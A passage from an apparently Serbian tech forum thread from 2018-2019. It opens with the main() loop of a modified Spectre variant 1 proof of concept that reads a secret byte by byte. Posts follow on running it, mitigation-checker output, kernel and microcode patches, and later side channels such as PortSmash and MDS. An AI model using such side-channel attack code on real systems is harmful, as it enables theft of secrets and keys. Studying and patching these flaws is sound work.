  const char * * argv) {
  
  /* Default to a cache hit threshold of 80 */
  int cache_hit_threshold = 80;

  char* secret1 = mmap(0,4096,PROT_READ | PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
  printf("before %p %p\n",secret1,array1);
  memcpy(secret1,secret,strlen(secret));
  mprotect(secret1,4096,PROT_NONE);
  secret = secret1;
  printf("guess now\n");
  /* Default for malicious_x is the secret string address */
  size_t malicious_x = (size_t)(secret - (char * ) array1);
  
  /* Default addresses to read is 40 (which is the length of the secret string) */
  int len = 40;
  
  int score[2];
  uint8_t value[2];
  int i;

  #ifdef NOCLFLUSH
  for (i = 0; i < sizeof(cache_flush_array); i++) {
    cache_flush_array[i] = 1;
  }
  #endif
  
  for (i = 0; i < sizeof(array2); i++) {
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  }

  /* Parse the cache_hit_threshold from the first command line argument.
     (OPTIONAL) */
  if (argc >= 2) {
    sscanf(argv[1], "%d", &cache_hit_threshold);
  }

  /* Parse the malicious x address and length from the second and third
     command line argument. (OPTIONAL) */
  if (argc >= 4) {
    sscanf(argv[2], "%p", (void * * )( &malicious_x));

    /* Convert input value into a pointer */
    malicious_x -= (size_t) array1;

    sscanf(argv[3], "%d", &len);
  }

  /* Print git commit hash */
  #ifdef GIT_COMMIT_HASH
    printf("Version: commit " GIT_COMMIT_HASH "\n");
  #endif
  
  /* Print cache hit threshold */
  printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);
  
  /* Print build configuration */
  printf("Build: ");
  #ifndef NORDTSCP
    printf("RDTSCP_SUPPORTED ");
  #else
    printf("RDTSCP_NOT_SUPPORTED ");
  #endif
  #ifndef NOMFENCE
    printf("MFENCE_SUPPORTED ");
  #else
    printf("MFENCE_NOT_SUPPORTED");
  #endif
  #ifndef NOCLFLUSH
    printf("CLFLUSH_SUPPORTED ");
  #else
    printf("CLFLUSH_NOT_SUPPORTED ");
  #endif

  printf("\n");

  printf("Reading %d bytes:\n", len);

  /* Start the read loop to read each address */
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);

    /* Call readMemoryByte with the required cache hit threshold and
       malicious x address. value and score are arrays that are
       populated with the results.
    */
    readMemoryByte(cache_hit_threshold, malicious_x++, value, score);

    /* Display the results */
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    
    if (score[1] > 0) {
      printf("(second best: 0x%02X=’%c’ score=%d)", value[1],
      (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
    }

    printf("\n");
  }
  return (0);
}

[ Mik0rist @ 13.01.2018. 18:46 ] @
Reci ovom crozoneu da treba da bude

Code:

int tries, i, j, k, mix_i;
unsigned int junk = 0;


onda ne izbacuje greške kad se kompajlira ;)
[ Branimir Maksimovic @ 13.01.2018. 18:58 ] @
Ma to nije greska nego warning, nego kako kod tebe radi? Jel cita ili ne cita? To me interesuje ;)
[ Mik0rist @ 13.01.2018. 19:01 ] @
The Magic Words are Squeamish Ossifrage :)
[ oracle_kid @ 14.01.2018. 09:51 ] @
Apdejtovao Linux Fedoru na 27, i pogledam microcode.."updated early to...2013"??
Imam laptop Intel i3 2370 za koji na sajtu pise da postoji update od 2018
Koji update Fedora distribuira? Jel mogu sam da instaliram novi microcode?

[ Mik0rist @ 14.01.2018. 12:47 ] @
[ Branimir Maksimovic @ 14.01.2018. 19:16 ] @
Citat:
oracle_kid:
Apdejtovao Linux Fedoru na 27, i pogledam microcode.."updated early to...2013"??
Imam laptop Intel i3 2370 za koji na sajtu pise da postoji update od 2018
Koji update Fedora distribuira? Jel mogu sam da instaliram novi microcode?



Nema svrhe da stavljas microcode update dok ne stignu kernel patchevi koji jos nisu sleteli ni u rc kernel a kamoli backportovani u starije.
Ja imam microcode ali ne radi ama bas nista korisno trenutno ;)
[ Mik0rist @ 14.01.2018. 19:56 ] @
Postoje samo dve verzije Linux-a za koje znam da su potpuno pačovani

OpenSUSE i Clear Linux. Ostali svi čekaju Retpoline support i GCC 7.2 koji je patched . . .

[Ovu poruku je menjao Mik0rist dana 14.01.2018. u 21:06 GMT+1]
[ Mik0rist @ 15.01.2018. 00:46 ] @
Citat:
Branimir Maksimovic:
nego kako kod tebe radi? Jel cita ili ne cita? To me interesuje ;)



Pod Clear Linux-om imam Bus error i ne može da se pokrene. Kraj priče. Bar za ovu verziju. :P

[Ovu poruku je menjao Mik0rist dana 15.01.2018. u 02:01 GMT+1]
[ Branimir Maksimovic @ 15.01.2018. 06:38 ] @
Ne bi trebalo da bude bus error to obicno javi kad mmapiras neki fajl sa vecom velicinom nego sto je fajl pa pokusas da pises iza fajla... mozda ti taj patch na clear Linux-u pravi sistem nestabilnim.
Svakako da ovo indikuje da je nesto poslo naopako sa mmap ;)
iskompajliraj sa -g pa opali gdb nad kore dumpom da vidis gde je zveknulo.
[ Mik0rist @ 15.01.2018. 14:34 ] @
Ima li kraja ovome ?

https://www.cnet.com/news/spec...tbank-simon-segars-pcs-phones/

[ Branimir Maksimovic @ 16.01.2018. 00:51 ] @
Ovakva je situacija kod mene sada ;p
Code:

~/projects/SpectrePoC >>> sudo spectre-meltdown-checker                                                                                                                                      ±[●●][master]
Spectre and Meltdown mitigation detection tool v0.31

Checking for vulnerabilities against running kernel Linux 4.15.0-1-CUSTOM #1 SMP PREEMPT Mon Jan 15 13:34:41 CET 2018 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz

CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1'
* Checking whether we're safe according to the /sys interface:  NO  (kernel confirms your system is vulnerable)
> STATUS:  VULNERABLE  (Vulnerable)

CVE-2017-5715 [branch target injection] aka 'Spectre Variant 2'
* Checking whether we're safe according to the /sys interface:  YES  (kernel confirms that the mitigation is active)
> STATUS:  NOT VULNERABLE  (Mitigation: Full generic retpoline)

CVE-2017-5754 [rogue data cache load] aka 'Meltdown' aka 'Variant 3'
* Checking whether we're safe according to the /sys interface:  YES  (kernel confirms that the mitigation is active)
> STATUS:  NOT VULNERABLE  (Mitigation: PTI)

A false sense of security is worse than no security at all, see --disclaimer



Medjutim probao fazon sa mprotect na centos6 i spectre ne radi ni tamo ;p
ne radi ni na iMacu starom 10 godina ;)
[ nkrgovic @ 16.01.2018. 08:05 ] @
@Bane: Ako ja kapiram to sa mprotect je "fora" koja mora da se primeni u kodu i da se kod rekompajlira. Sto ce reci da tvoj kod radi kako valja, ali ako koristimo neki genericki softver mozemo samo da cekamo da ga autori okrpe... :)

Ja da opet pricam da tebe postujem kao developera nema smisla - previse sam to puta rekao. :) Ali to ne resava nista ako radis hosting, ili ako si ti hostovan na tudjem hostingu, ili ako jednostavno koristis genericki softver.... :/
[ Branimir Maksimovic @ 16.01.2018. 08:24 ] @
Ma ovo je samo resenje za neku aplikaciju koju sam pises, pa cak ni to, eto, recimo, ne mozes da sakrijes ni privatni kljuc u SSL-u jer to on drzi kod sebe ;p
[ Mik0rist @ 16.01.2018. 11:55 ] @
Pogledajte ovu smejuriju

https://betanews.com/2018/01/1...tdown-spectre-patches-malware/

Ali Smoke Loader. LoL
[ Mik0rist @ 16.01.2018. 12:20 ] @
Citat:
Branimir Maksimovic:
eto, recimo, ne mozes da sakrijes ni privatni kljuc u SSL-u jer to on drzi kod sebe ;p


Ovaj propust u procesorskom dizajnu su mogli da koriste zadnjih 10 godina najmanje.

Da iščitaju sve što se moglo iščitati.Na bilo kojoj mašini i OS-u.

I onda se pojavi par naučnika iz Graca i privatna kompanija Cyberus Technology , Dresden, Germany.


Koja je stara 8 mececi u njihovom privrednom registru da nam otkriju Meltdown / Spectre. :p
[ bojan_bozovic @ 16.01.2018. 13:26 ] @
@Branimir

Tvoj kod radi na Cygwin x86_64 (gcc 6.4.0) ali na MinGW-w64 ne (gcc 5.1.0 i gcc 7.2.0) jer koristi taj UNIX sys/mman.h kojega nema u MinGW.
[ Branimir Maksimovic @ 16.01.2018. 13:28 ] @
mingw ti je Windows api, to nije potpuna emulacija. Moraces da pretabas kod da koristi Windows VirtualProtect i odgovarajuci mmap poziv mada mislim da treba samo VirtualAlloc ili nesto sto alignuje na page size.
[ Mik0rist @ 23.01.2018. 11:07 ] @
Evo šta kaže majstor David Woodhouse

Citat:

I think we've covered the technical part of this now, not that you like
it — not that any of us *like* it. But since the peanut gallery is
paying lots of attention it's probably worth explaining it a little
more for their benefit.

This is all about Spectre variant 2, where the CPU can be tricked into
mispredicting the target of an indirect branch. And I'm specifically
looking at what we can do on *current* hardware, where we're limited to
the hacks they can manage to add in the microcode.

The new microcode from Intel and AMD adds three new features.

One new feature (IBPB) is a complete barrier for branch prediction.
After frobbing this, no branch targets learned earlier are going to be
used. It's kind of expensive (order of magnitude ~4000 cycles).

The second (STIBP) protects a hyperthread sibling from following branch
predictions which were learned on another sibling. You *might* want
this when running unrelated processes in userspace, for example. Or
different VM guests running on HT siblings.

The third feature (IBRS) is more complicated. It's designed to be
set when you enter a more privileged execution mode (i.e. the kernel).
It prevents branch targets learned in a less-privileged execution mode,
BEFORE IT WAS MOST RECENTLY SET, from taking effect. But it's not just
a 'set-and-forget' feature, it also has barrier-like semantics and
needs to be set on *each* entry into the kernel (from userspace or a VM
guest). It's *also* expensive. And a vile hack, but for a while it was
the only option we had.

Even with IBRS, the CPU cannot tell the difference between different
userspace processes, and between different VM guests. So in addition to
IBRS to protect the kernel, we need the full IBPB barrier on context
switch and vmexit. And maybe STIBP while they're running.

Then along came Paul with the cunning plan of "oh, indirect branches
can be exploited? Screw it, let's not have any of *those* then", which
is retpoline. And it's a *lot* faster than frobbing IBRS on every entry
into the kernel. It's a massive performance win.

So now we *mostly* don't need IBRS. We build with retpoline, use IBPB
on context switches/vmexit (which is in the first part of this patch
series before IBRS is added), and we're safe. We even refactored the
patch series to put retpoline first.

But wait, why did I say "mostly"? Well, not everyone has a retpoline
compiler yet... but OK, screw them; they need to update.

Then there's Skylake, and that generation of CPU cores. For complicated
reasons they actually end up being vulnerable not just on indirect
branches, but also on a 'ret' in some circumstances (such as 16+ CALLs
in a deep chain).

The IBRS solution, ugly though it is, did address that. Retpoline
doesn't. There are patches being floated to detect and prevent deep
stacks, and deal with some of the other special cases that bite on SKL,
but those are icky too. And in fact IBRS performance isn't anywhere
near as bad on this generation of CPUs as it is on earlier CPUs
*anyway*, which makes it not quite so insane to *contemplate* using it
as Intel proposed.

That's why my initial idea, as implemented in this RFC patchset, was to
stick with IBRS on Skylake, and use retpoline everywhere else. I'll
give you "garbage patches", but they weren't being "just mindlessly
sent around". If we're going to drop IBRS support and accept the
caveats, then let's do it as a conscious decision having seen what it
would look like, not just drop it quietly because poor Davey is too
scared that Linus might shout at him again. :)

I have seen *hand-wavy* analyses of the Skylake thing that mean I'm not
actually lying awake at night fretting about it, but nothing concrete
that really says it's OK.

If you view retpoline as a performance optimisation, which is how it
first arrived, then it's rather unconventional to say "well, it only
opens a *little* bit of a security hole but it does go nice and fast so
let's do it".

But fine, I'm content with ditching the use of IBRS to protect the
kernel, and I'm not even surprised. There's a *reason* we put it last
in the series, as both the most contentious and most dispensable part.
I'd be *happier* with a coherent analysis showing Skylake is still OK,
but hey-ho, screw Skylake.

The early part of the series adds the new feature bits and detects when
it can turn KPTI off on non-Meltdown-vulnerable Intel CPUs, and also
supports the IBPB barrier that we need to make retpoline complete. That
much I think we definitely *do* want. There have been a bunch of us
working on this behind the scenes; one of us will probably post that
bit in the next day or so.

I think we also want to expose IBRS to VM guests, even if we don't use
it ourselves. Because Windows guests (and RHEL guests; yay!) do use it.

If we can be done with the shouty part, I'd actually quite like to have
a sensible discussion about when, if ever, we do IBPB on context switch
(ptraceability and dumpable have both been suggested) and when, if
ever, we set STIPB in userspace.



https://lkml.org/lkml/2018/1/22/598
[ Mik0rist @ 23.01.2018. 15:22 ] @
Evo i Linusov odgovor.





Btw. Ako ste već ažurirali BIOS, kako biste izbegli nepredvidljivo ponašanje sistema, možete se vratiti na prethodnu verziju BIOS-a.

http://www.dell.com/support/ar...torage-and-networking-?lang=en

Ubuntu
https://usn.ubuntu.com/usn/usn-3531-2/

Realno nemam odgovor dokle će ova zajebancija da traje.
[ Mik0rist @ 23.01.2018. 17:31 ] @
Citat:
Branimir Maksimovic:
Izgleda da sam otkrio neku novu foru, ne radi ni jedan jedini meltdown ili spectre exploit koji sam nasao nad memorijskom zonom koja je necitljiva bilo kome.
Znaci ako hoces da sakrijes nesto od napadaca samo mprotect(addr,PROT_NONE) i ne radi ni jedan exploit ;)
Po potrebi mprotect(addr,PROT_READ/WRITE) pa odradis sta treba pa opet NONE ;)


Napiši ovo Ingo Molnaru - evo mu mejla ovde

https://lkml.org/lkml/2018/1/23/32

Izgleda da jedino on zna šta radi ovde ( možda mu sine genijalna ideja kako kroz kernel ovo isto da uradi - pošalje sve zahteve sa spekulativnim izvršenjem u PROT_NONE ).

Odnosno radi na fix-u. (dok se ostali prepucavaju)



[Ovu poruku je menjao Mik0rist dana 23.01.2018. u 22:06 GMT+1]
[ Branimir Maksimovic @ 26.01.2018. 06:40 ] @
Izgleda da ce Intel u sledecoj iteraciji fixnuti ranjivost?
http://www.tomshardware.com/ne...ix-meltdown-spectre,36405.html

"Krzanich later said the company would begin to ship products with "in-silicon" fixes for the vulnerabilities by the end of the year (Q4). He did not elaborate, but logically this means that the company will include these fixes in the 10nm generation of products. Krzanich also later stated that the company expects to continue developing its 14nm products in 2018, so we could see yet another round of 14nm processors (sigh). Of course, one could speculate that these chips might also have in-silicon patches for the vulnerabilities."
[ Mik0rist @ 02.02.2018. 14:50 ] @
Istraživači su predstavili novi Bitcoin protokol u radu objavljenom ove nedelje :

https://eprint.iacr.org/2018/104.pdf

Novi blockchain scalability protocol je izgrađen na SPECTRE (ima isto ime kao bag) . Odnosno Specte protokol pod nazivom PHANTOM.

Realno ne znam šta da mislim u vezi kriptovaluta. Smešno i tužno koliko je sve šuplje.




[Ovu poruku je menjao Mik0rist dana 02.02.2018. u 16:45 GMT+1]
[ Mik0rist @ 07.02.2018. 13:10 ] @
MS vraćaja nazad spektre zakrpe zbog nestabilnosti, problema sa performansama, iznenadnim rebutovanjem itd.

https://support.microsoft.com/...tion-against-spectre-variant-2
[ Branimir Maksimovic @ 02.11.2018. 17:24 ] @
I onda dalje:
https://www.zdnet.com/article/...sh-side-channel-vulnerability/
Citat:

His team also published proof-of-concept (PoC) code on GitHub that demonstrates a PortSmash attack on Intel Skylake and Kaby Lake CPUs.

The PoC steals an OpenSSL (<= 1.1.0h) P-384 private key from a TLS server by successfully exploiting PortSmash, but the attack can be modified to target any type of data.

The PortSmash PoC also requires malicious code to be running on the same physical core as the victim, but this isn't such a big hurdle for attackers.

"IaaS [Infrastructure-as-a-Service] is one scenario to make it more 'remote'," Brumley told ZDNet. "There, attackers would try to co-locate VMs with victims to end up running the exploit on the same physical core as the victim, but different logical core."

"[PortSmash] definitely does not need root privileges," he said "Just user space."

Researchers say they notified Intel's security team last month, on October 1, but the company has not provided a patch until yesterday, the date on which researchers went public with their findings. An Intel spokesperson was not available for comment regarding the state of the PortSmash patching process before this article's publication.
[ Ivan Dimkovic @ 02.11.2018. 22:54 ] @
Eto zasto, decaci i devojke, nije dobro deliti procesore sa drugima, nikad ne znas sta zlo drugi VM sprema :-))))

Nego Bane izgleda Kinezi ozbiljno hoce da prave svoj RAM (https://www.anandtech.com/show...-exports-to-chinese-dram-maker) - ako im uspe, mozda ces moci da kupis DDR5 za jeftino :)
[ Branimir Maksimovic @ 03.11.2018. 04:27 ] @
Heh, cekao sam dugo za DDR4, DDR5 otom potom ;p
[ Space Beer @ 03.11.2018. 06:01 ] @
Nisam video da li i za ovu rupu treba admin pristup. Ima li negde tog detalja?
[ Branimir Maksimovic @ 03.11.2018. 06:27 ] @
Citat:
"[PortSmash] definitely does not need root privileges," he said "Just user space."

Znaci na serverima dizejblovanje SMT/HT ne gine....
[ nkrgovic @ 03.11.2018. 08:37 ] @
Citat:
Branimir Maksimovic: Znaci na serverima dizejblovanje SMT/HT ne gine....

Ovo je i Intel i AMD, ARM (Cavium Thunder), IBM Power, Spark... Sve.

Pri tom, cini mi se da non-x64 arhitekture ovo boli vise, oni su svi SMT4 ili cak vise. Uhh...

Srecom, postoji mogucnost da se ovako nesto detektuje. U non-cloud okruzenju, tipa corporate DC, verovatno ce ostati SMT u upotrebi.

Ono sto je zanimljivo je da dosta koncepta koje smo smatrali fenomenalnim, a koji se oslanjaju na "precice", kao sto je SMT (u odnosu na puna jezgra), kao sto je spekulativno izvrsavanje, ocigledno imaju cenu. Bice zanimljivo kako ce se ovo, zajedno sa starim problemima, odraziti na dizajn novih procesora.

Takodje, zanima me, koliko je ranjiv Spark, ako se koristi encrypted memory. Koliko ja razumem, sve da jedan proces i pristupi memoriji drugog on nece moci da vidi nista unutra na zasticenom hardveru. Na zalost Oracle je napravo teske gluposti po pitanju Spark tima, ali valjda i AMD ima NEKU podrsku za encrypted memory. Cisto je zanimljivo....
[ Branimir Maksimovic @ 03.11.2018. 09:01 ] @
Sve sto je enkriptovano mora biti dekriptovano da bi se koristilo, tako da ne znam koliko enkripcija ovde pomaze. Koliko kapiram cita se cache procesora iz drugog threada, tj i maliciozni i korisni moraju da se vrte na istom jezgru.
[ nkrgovic @ 03.11.2018. 12:28 ] @
Nije samo enkripcija, postoje i te fore sa "bojama" memorijskih regija, gde se, uz neku podrsku hardvera, oznacava sa jednom od 16 boja (ima 4 bita za to ;) ) kom procesu pripada memorija. Ako se "boja" ne pogodi, procesor ima hardverski mehanizam koji vise-manje dize exception....

Odavde :

Citat:

The hardware does this by allowing software to mark software buffers with special versions. Part of the Pointer can be used to store a version number and this version number is also maintained in the memory cache lines. When a pointer accesses memory, the hardware checks to make sure the two versions match. A SEGV signal is raised when there is a mismatch.


Ovo je mnogo vise Branimirov forte nego moj, tako da cu apsolutino verovati njegovoj oceni, ali meni deluje da postoji velika verovatnoca da ce ovakav napad biti uhvacen.... Evo jos par linkova:

https://www.theregister.co.uk/2015/10/28/oracle_sparc_m7/

https://www.oracle.com/technet...crypted-datacenter-2715841.pdf

Na zalost, The Register je vec o tome pisao, Oracle je iz nekih razloga otkacio najveci deo zaposlenih u Sparc i Solaris timovima.... Sa druge strane, mislim da Fujitsu Sparc M10/M12, bar za sada, nemaju ovu funkcionalnost. Mislim da IBM Z ima nesto slicno, ali mainframe me nikad nije zanimao....

U svakom slucaju, implementacija konkretnih hardverskih resenja za sve probleme ocigledno postoji, ali se bojim da uzasno komplikuje situaciju. U ovom trenutku, dok Intel ima problem da izbaci bolje optimizovan silikon prosirivanje jezgara zastitama od ovakvih tehnika postaje problem, a sa druge strane, softver je isto prolem jer je mnogo sporiji. Pocinje da se cini da bezbednosti i javni cloud sve losije idu zajedno... :(

P.S. Kad kazem verovatnoca mislim bas na to: Jedan od 16 napada ce proci. Cista igra verovatnoce. Ali, ako to ne bude prvi pokusaj, doci ce to greske, tu gresku ce sistem da vidim, pa ce je i dobro podesen SIEM pokupiti i onda ce se dalje delovati po proceduri.
[ Branimir Maksimovic @ 03.11.2018. 13:02 ] @
Pazi, ne pristupa se ovde memoriji nego se cita cache procesora na kom se vrti drugi thread. Znaci, ni na Intelu ne moze da pristupi memoriji ali moze serijom exceptiona da razluci koji je bajt u pitanju na osnovu toga da li je cache ili nije.
To je opet varijacija na temu sta se nalazi u cache koliko sam shvatio.
[ nkrgovic @ 03.11.2018. 13:43 ] @
Da, ali ova fora sa "bojama" vazi i za cache. :) Zato i mislim da ovo moze da pomogne....
[ Branimir Maksimovic @ 03.11.2018. 13:53 ] @
Ne cita se cache direktno, nego se meri vreme pristupa. Ne znam kako tacno ova varijanta funkcionise ali kljucno je to da se razlikuje vreme pristupa cache-u i memoriji. U svakom slucaju spectre/meltdown su funkcionisali na tom principu ali koristila se spekulacija.
Ovde izgleda nije u pitanju spekulacija nego drugi thread na istom procesoru.
[ Ivan Dimkovic @ 03.11.2018. 13:58 ] @
Citat:
nkrgovic
U svakom slucaju, implementacija konkretnih hardverskih resenja za sve probleme ocigledno postoji, ali se bojim da uzasno komplikuje situaciju


Mislim da je situacija k'o porucena za CPU vendore. Mozda imaju probleme sa Moore-ovim "zakonom" ali ce sad dobiti jako dobar adut za nove proizvode.

Vec vidim razlicite nivoe zastite sa najvisim rezervisanim za "hyper ultra turbo platinum" koji ce da kostaju samo $19999 po komadu :)
[ Branimir Maksimovic @ 03.11.2018. 14:07 ] @
U svakom slucaju, ovo Intelovo krajcanje na HT ce im se obiti o glavu. Doslo je u najgorem po njih mogucem trenutku ;p
[ Ivan Dimkovic @ 03.11.2018. 14:12 ] @
Mislim da ce privremeno cloud vendori jednostavno morati da zaborave na SMT, zvuci previse rizicno.

Ili to ili ce morati da particionisu sisteme tako da jedan klijent uvek dobije uvek sva SMT "jezgra" pa nek oni vide sta ce sa sopstvenim procesima tj. koliko im veruju.
[ nkrgovic @ 03.11.2018. 14:24 ] @
Citat:
Ivan Dimkovic: Mislim da ce privremeno cloud vendori jednostavno morati da zaborave na SMT, zvuci previse rizicno.

Ili to ili ce morati da particionisu sisteme tako da jedan klijent uvek dobije uvek sva SMT "jezgra" pa nek oni vide sta ce sa sopstvenim procesima tj. koliko im veruju.

Uhhhh.... Znas koliko ce to da ih kosta? :) Ako se to zbilja desi, ocekivao bi skok cena od bar 30%.

Ali da, meni se cini da ce private cloud da postane, opet, preferirana opcija.

Mada, pazi, ako je SAMO u pitanju izvlacenje sertifikata, vec vidim da AWS to resava sa jednim blogom u kome pise "ne drzite sertifikate na serveru, koristite ELB", i stavom "mi smo vam rekli.... ". Opet, nikako ne deluje da ce biti dobro po cene ili po korisnike.
[ Ivan Dimkovic @ 03.11.2018. 15:01 ] @
Mogu svi lepo da zarade, i cloud vendori ce da ponude "sigurniji" cloud koji nije skup kao 100% tvoja masina ali ti je garantovano da niko nece da deli fizicko jezgro sa tobom.

Ne pada mi na pamet nikakvo marketinsko ime ali sam siguran da timovi vec rade na tome :-)
[ nkrgovic @ 14.11.2018. 22:11 ] @
Idemo, nova tura:

https://www.theregister.co.uk/.../14/spectre_meltdown_variants/

Novi bug, za sada proveren na i5-6200U i Ryzen Threadripper 1920X . Tvrde da ne postoji softverski workaround, samo hardver i (mozda) microcode.
[ nkrgovic @ 05.01.2019. 15:39 ] @
Noice!

https://www.theregister.co.uk/2019/01/05/boffins_beat_page_cache/

Ovo deluje i remote exploitable.... spominje se, za sada, remote data exfiltration, ali kako je neko pecovao i neki php kod, to deluje da je moguce napasti i server-side web aplikacije, mozda... ? Idemo, zurka! :D
[ Ivan Dimkovic @ 05.01.2019. 17:25 ] @
Deluje kao relativno jednostavna stvar za popraviti, OS ne treba da daje previse informacija procesima bez odgovarajucih privilegija.
[ Branimir Maksimovic @ 05.01.2019. 17:52 ] @
Da nije ovo: https://www.exploit-db.com/exploits/43178
[ nkrgovic @ 05.01.2019. 21:31 ] @
Relativno jednostavno u kernelu ne ide... verujem da ce se fixnuti, ali znajuci gomilu svojih kolega, ako postoji remote exploit, ovo ce napraviti lavinu problema.... samo je pitanje koliko je remote exploitable.... Ili iz VM-a, ili, kako vec.

U svakom slucaju ovi side-channel napadi su stvarno igranka bez prestanka. Drago mi je da ne radim marketing za CPU proizvodjace, kapiram zasto je tesko resavati to na dizajnu cipa, ali nisam siguran da bi to uspeo da objasnim ne-tehnickim licima koja mi vriste u facu.... a placaju milione.
[ Ivan Dimkovic @ 05.01.2019. 23:10 ] @
Citat:
nkrgovic
Relativno jednostavno u kernelu ne ide


Koliko vidim MS je ovo bas jednostavno resio zahtevajuci dodatne privilegije od procesa kako bi mogao da dobije informacije o pagingu.

Citat:

Citat:

The fix requires the PROCESS_QUERY_INFORMATION flag for QueryWorkingSetEx instead of PROCESS_QUERY_LIMITED_INFORMATION, so less privileged processes cannot directly access page cache information. It also omits Share Count information, the number of processes a page has in its working set, which can be useful for making indirect observations of changes in other processes.


Ako imas proces kome si dao privilegije da moze da zabada nos u tudje procese onda vec imas problem :)
[ nkrgovic @ 06.01.2019. 13:40 ] @
Ali ovo malo razbija compatibility..... OK, ne verujem da ce puno toga biti affected, ali opet, krpez je. Menjas default ponasanje.
[ Ivan Dimkovic @ 07.01.2019. 10:32 ] @
Problem je sto je default ponasanje bilo nesigurno. Na zalost, mislim da nema izbora osim da neprivilegovanim aplikacijama uklonis uvid u ovakve informacije.

Sumnjam da cela stvar kaci puno aplikacija, sa limitiranim privilegijama i ovako i onako nemas puno uvida u sistemske stvari, a propisno pisane aplikacije kojima takve informacije zaista trebaju imaju neki servis/komponentu koja trci u adekvatnim privilegijama i nastavice da ima pristup i posle patch-a.
[ Ivan Dimkovic @ 08.01.2019. 12:27 ] @
Evo i Linux fixa:

https://git.kernel.org/pub/scm...82d9d8fa47f422778043fbb4b4f50e

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5489

I Linux fix takodje menja ponasanje syscall-a, mada Linus smatra da cela stvar ne bi trebalo da bude problem, a ako se pojavi neka aplikacija koja je zakacena da ce razmisliti o drugacijem resenju.

Citat:

So let's try to avoid that information leak by simply changing the
semantics to be that mincore() counts actual mapped pages, not pages
that might be cheaply mapped if they were faulted (note the "might be"
part of the old semantics: being in the cache doesn't actually guarantee
that you can access them without IO anyway, since things like network
filesystems may have to revalidate the cache before use).

In many ways the old semantics were somewhat insane even aside from the
information leak issue. From the very beginning (and that beginning is
a long time ago: 2.3.52 was released in March 2000, I think), the code
had a comment saying

Later we can get more picky about what "in core" means precisely.

and this is that "later". Admittedly it is much later than is really
comfortable.


Dakle kako stvari trenutno stoje, u Windows-u sa patch-em worst-case scenario je da ce aplikacija morati dobiti dodatne privilegije ako joj bas trebaju informacije koje su uklonjene.

U Linuxu je stvar malo komplikovanija, ili ce aplikacija morati biti patch-ovana za novu mincore() semantiku, ili ce ljudi morati ostati na starom (nepatch-ovanom) kernelu ili ce Linux kernel tim morati da smisli nesto trece.
[ nkrgovic @ 08.01.2019. 16:06 ] @
Bice zanimljivo kako ce RedHat ovo da hendla, oni obicno ne lome kompatibilnost u pecevima.. njihov kernel jos nije izasao. Linusa bas briga, naravno, to je njegov fazon... ;)

U svakom slucaju, ovo je postala igranka bez prestanka. Ocigledno je da imamo ogroman technical debt u razvoju procesora, da je sad dosao na naplatu i da ti side channel nepadi pocinju da budu ozbiljan problem.... Videcemo da li ce neko da resi probleme na hardverskom nivou, a i da li je to uopste moguce, bez unistavanja performansi.
[ Branimir Maksimovic @ 08.01.2019. 16:30 ] @
Ista je ideja, ovo sa page cache je cisto stvar OS-a, ali vidi se da i hardverasi i softverasi nisu o ovome razmisljali.
[ Ivan Dimkovic @ 08.01.2019. 17:30 ] @
@nkrgovic,

Na zalost ovo nema veze sa procesorima, kao sto Branimir rece, ovo je cisto stvar OS-a.

Bice ovoga verovatno jos jako puno, na hw. i sw. nivou. Od rowhammer-a (koji je od skora pokazan i na ECC memoriji), preko Spectre, Meltdown i sl. napada pa sve do ovakvih softverskih trikova koji otkrivaju informacije bez privilegija.

Cela stvar ce zahtevati izdvajanje mnogo veceg % R&D-a na razmisljanje o sigurnosti. Nije to losa stvar uopste, danasnji OS-evi npr. su drasticno sigurniji nego pre 20 godina.
[ Texas Instruments @ 14.05.2019. 22:53 ] @
Nova tura security bagova:

"Attacks on the newly-disclosed "MDS" hardware vulnerabilities in Intel CPU".
https://mdsattacks.com/

"ZombieLoad: Cross Privilege-Boundary Data Leakage"
https://www.cyberus-technology.de/posts/2019-05-14-zombieload.html
[ Branimir Maksimovic @ 16.05.2019. 02:47 ] @
Covek se zapita da li je Intel svoje prednosti u performansama svesno napravio na ustrb sigurnosti?
[ Texas Instruments @ 16.05.2019. 12:53 ] @
Izlgeda da su pokušali i da zataškaju ovo.

https://www.techpowerup.com/255563/intel-tried-to-bribe-dutch-university-to-suppress-knowledge-of-mds-vulnerability

Sve više mi se čini da treba podržati ideju o otvorenom hardveru, kao RISC-V. Sad, to što sve izgleda kao utopija i što je x86 dominantna arhitektura, ne mora da znači da se neće promeniti jednog dana. Recimo kao što je danas moguće da neko optimizuje svoj kernel, tako recimo da možeš da sintetizješ svoj CPU na nekom FPGA. :)
[ Zlatni_bg @ 17.05.2019. 02:53 ] @
Mozes to i danas, samo ti treba laboratorija. Drugar je na doktorskim u Tokiju bas to radio. Upisi doktorske studije i napravi nam cpu :D

Ako uzmemo i ARM arhitekturu, i ona ima ogromne mane. Mozda bi dovoljno klokovana jezgra i uspela da izvuku nesto ali neki integrisani GPU nemaju opensource drajvere i to koci zajednicu debelo. RPi (ili "derivati" i sve sto je nastalo kao posledica) bi danas mozda bio aktuelan u nekim laptopovima da uspevaju na linuxu da postignu zadovoljavajuce performanse. Neki su pokusali doduse da prave lap topove sa ARM cipovima, ali nije se slavno zavrsilo. Meni s druge strane koji imam klaster orangepi-zero uredjaja isti radi perfektno, ali u CLI/server okruzenju. Kada kazem perfektno, kazem perfektno za gotov racunar sa periferijama za manje od 15$.

x64 je previse zrela da bi u skorije vreme bila zamenjena, bar u potpunosti.

Bilo kako bilo... bitno da se sve unapredjuje a mi dobijamo stvari za igru.
[ Zlatni_bg @ 17.05.2019. 02:55 ] @


Na primer. Ali vide se ogromne mane u performansama, mada svaka cast ljudima na trudu. Kapiram da kad se zavrti Android na ovome moze da se dobije nesto zadovoljavajuce - sto ne znam zasto nisu isprobali.
[ Branimir Maksimovic @ 17.05.2019. 03:34 ] @
Ne vidim zasto bi menjali x86, kada AMD nije ranjiv na ove stvari, osim na spectre. Intel pa mora da zakrpi ovo, u svakom slucaju. Iskace jedna ranjivost
